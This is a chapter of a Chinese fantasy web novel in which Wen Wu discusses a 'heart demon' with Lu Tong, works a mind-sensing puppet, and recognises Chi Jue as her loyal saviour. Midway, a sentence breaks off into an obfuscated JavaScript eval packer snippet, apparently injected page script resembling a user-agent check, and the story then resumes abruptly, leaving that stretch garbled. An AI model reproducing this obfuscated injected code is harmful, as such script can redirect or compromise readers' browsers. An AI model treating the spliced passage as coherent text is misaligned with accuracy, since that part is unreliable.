闻舞想起魑觉提到过鹿仝曾派长甲鬼袭击他们,能操纵鬼办事的人不多,傀儡师算一个。 可鹿仝明显不是傀儡师。 鹿仝摇头浅笑,闷下一口酒,一声轻叹沉沉落下,他畅言道:“你可以把我当人类看,但我算半个鬼,我能在冥界与人界来去自如,具体是什么身份,如果魑觉大人没同小姐讲,那便是我不足以成为他的威胁,小姐自然也不用忌惮我。” “那昨日在苍岭旅馆与我们同住一层的是您吗?” “什么?” 话题转变有点快,鹿仝没跟上闻舞的节奏。 闻舞垂着脑袋说:“那日与您听完戏后,您在跟踪鬼怪先生与我吗?” 鹿仝觉得莫名:“我为何要?” “……抱歉,看来不是您。” 鹿仝察觉话里的信息,试探询问道:“有人知晓你俩身份了?” 她点了点头。 鹿仝皱了皱眉,将扇子往闻舞旁边靠近几分,“魑觉大人应该不觉得很困扰吧,有的是东西跟踪他,倒是小姐,还是越少人知晓你的身份才好,世间阴险至极,得防,得防啊。” ”阴险……老先生,我想问您一个问题。” “鬼怪先生说我身体存在另一个人,但我未曾感受到那个人存在,他说那个人无时无刻侵蚀着我的思想。” “因此我想问的是,我这个人到底存不存在呢?” 鹿仝苦恼地揉了揉太阳穴。 “小姐啊……”鹿仝努力想了个杀伤力不强的解释,道:“是心魔吧,您在心中种了个心魔,随其生长,它完全融入了您的思想,你的生活,甚至您的身体。” “心……魔?” “嗯,心魔,不是鬼也不是人,是没有形体的意识体。” “至于您是否存在,让那位提出心魔的人回答吧。” 鹿仝暗示她去找魑觉。 闻舞默默记在心里,她曾在书里看过类似的词语,当时并不是以心魔介绍,但它的解释里却有心魔一词,是执念。 闻舞陷入思考,而她从未意识到,每当她沉浸于思考时,自己会将内心所想不小心说出来。 “执念……心魔……要靠自己反抗,如何反抗呢?单打独斗虽不难,但真能成功吗?” 这些碎碎念很明显不是对鹿仝询问,鹿仝只听了一半,便将目光投入正表演得起劲的戏台上。 他听得入迷时,忽然间,受到台上人故事的启发,鹿仝凝视着闻舞,他其实对即将要说的话没什么把握,可总有一种预感,一种极强的感觉告知他:要把这句话得说出来。 “小姐。” 闻舞轻轻嗯了一声,头虽朝他靠近,眼睛却盯着地板,仿佛在思考其他事。 “放眼望去,答案或许就在身边。” “……嗯?”闻舞因在发愣没搞懂鹿仝的话,她追问道:“方才您说什么?” 可鹿仝这时却突然站起来,伸了个懒腰,将折扇顺势插于腰中,而后敛下眼,指了指戏台,道:“其实找您来,不只是听戏,或许……您对木偶戏感兴趣吗?” “木偶戏?” “跟我来。” 鹿仝执拗地拉着闻舞朝戏台幕后走去,闻舞踉踉跄跄跟着,她不明白为何看木偶戏要越到后面,可她挣脱不开鹿仝的手。 鹿仝将她带到表演者区域,在休息室里,一个木箱子格外引人注意。 “瞧瞧,这个小戏台。” 鹿仝将那个木箱子移到闻舞面前,闻舞随意看了眼,却惊奇发现这个小戏台构造与外面戏台一模一样,宛如缩小版。 鹿仝饶了小戏台一圈,感慨道:“还是一如既往啊,除了顶头落了灰,擦擦还能用。” 之后,鹿仝进入了繁忙阶段,莫名被牵扯进来的闻舞无所事事站在一旁,等到鹿仝向她求助时,她才忙起来。 打扫过程中,鹿仝频繁与她将演绎木偶戏的注意事项以及巧妙手法,闻舞也只是频频点头。 约莫两刻,两人终于将小戏台擦得程亮。 此时鹿仝拿出不知从何而来的提线木偶,并将其一塞进闻舞怀里,他拉开了小戏台的暗灯,朝闻舞笑道:“要不要试试?” 闻舞走去,许是经过鹿仝教诲,她上手非常熟练。 鹿仝倒显得有些吃惊,他原以为闻舞会下意识推脱,为此他还准备了好几个劝言。 看来没这必要了。 鹿仝收回看向闻舞的眼神,专注于她手里的动作。 闻舞一手握住牵板,另一只手轻轻拨动丝线,动作娴熟,有种得心应手的感觉。 “看来你学习能力很强嘛,那么……” 鹿仝的话在意想不到的地方刹住,下一秒,小戏台后方的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“不要停,戏没结束。” 闻舞死死咬着下唇,轻微摇头表示抗拒。 “她在您手上。” 鹿仝快速打断,“您,可以决定她的人生。” “操纵木偶时,她就是您。” 闻舞毫无反应。 而鹿仝却扬起了微笑:“终于动了。” “什……” 闻舞话还没落,她手里的木偶竟自己动了起来,木偶用力挣脱了‘母亲’的束缚,开始撕裂身上的衣服,直至剩下一件薄衣。 “这、这到底……” 闻舞说不出话,她明明没有动木偶,这就好像……是木偶有了自我意识。 而这时,鹿仝开口了。 “小姐,忘记与您说,这并不是普通的提线木偶,它的牵板能感知操纵者的内心,是为了突发情况而制作的傀儡木偶。” “所以……” 木偶‘母亲’突然散架,成了一堆冰冷的木块,紧接着鹿仝满腹感情,念出了这场戏的结局: “十五女,坚守理想,排除万难,打破荆棘,终战胜心魔,从此,心向阳生!” 闻舞心底猛然一颤,整个人陷入了错愕与震惊之中。 幸好,她看不见。 就算有鬼会对她控制木偶异常行为指责,幸好她看不见,听不到。 但,闻舞又莫名想听见澎湃热烈的鼓掌声,内心矛盾四处游走,她的真实想法陷入迷雾之中,好像只要听见这个声音,就能证明某个想法是正确的。 可惜,她看不见。 “啪、啪、啪、啪!” 就在这时,寂静的戏院里传来一阵有规律的鼓掌声。 “小姐啊。” 还未来得及弄清这鼓掌声来源,鹿仝再次开口:“心魔这种虚无东西,单靠自己无法解决的话,可以依赖一位变数之外的绝对忠诚者。” “您一定能遇到,因为您方才亲手为他人解决了阻碍,您成为了别人的忠诚者。” 闻舞呆滞地看向手里的木偶,如遇巧合般,这个木偶与她竟越来越像,同鹿仝所说,牵板会随着操控者内心而自动控制木偶。 所以‘女儿’做出了反抗。 “反抗……忠诚者……” ”铃铃铃——” 刹那间,她听见了一股熟悉的声音,空灵而美妙,每每在她无措而心力交瘁时,那阵铃铛声就会如期而至。 她抬头,头顶的光束刚好落在那人身上,在掌声未完全消失前,鼓掌人的面孔毫无保留出现在她视野里。 而光束在鼓掌声结束后,对准了她。 耀眼而炙热,这个描写再不是形容他人,她同样适用。 闻舞看见了。 阴霾生活中从天而降的人。 闻舞嘴唇微动,喃喃道:“绝对忠诚者……我的所有物……” 她忽然记起鹿仝在戏开场时的一句旁白: ‘将命运称为缘,又将相遇定为命中注定,如果忠诚者能够绝对忠诚,那么拯救一词就会变成——’ 在极度沉浸思考下,闻舞紧盯着魑觉,任世界发生的天翻地覆,只在意心中的波涛汹涌,旁白后半句终于从她口中呼之欲出: “救赎。”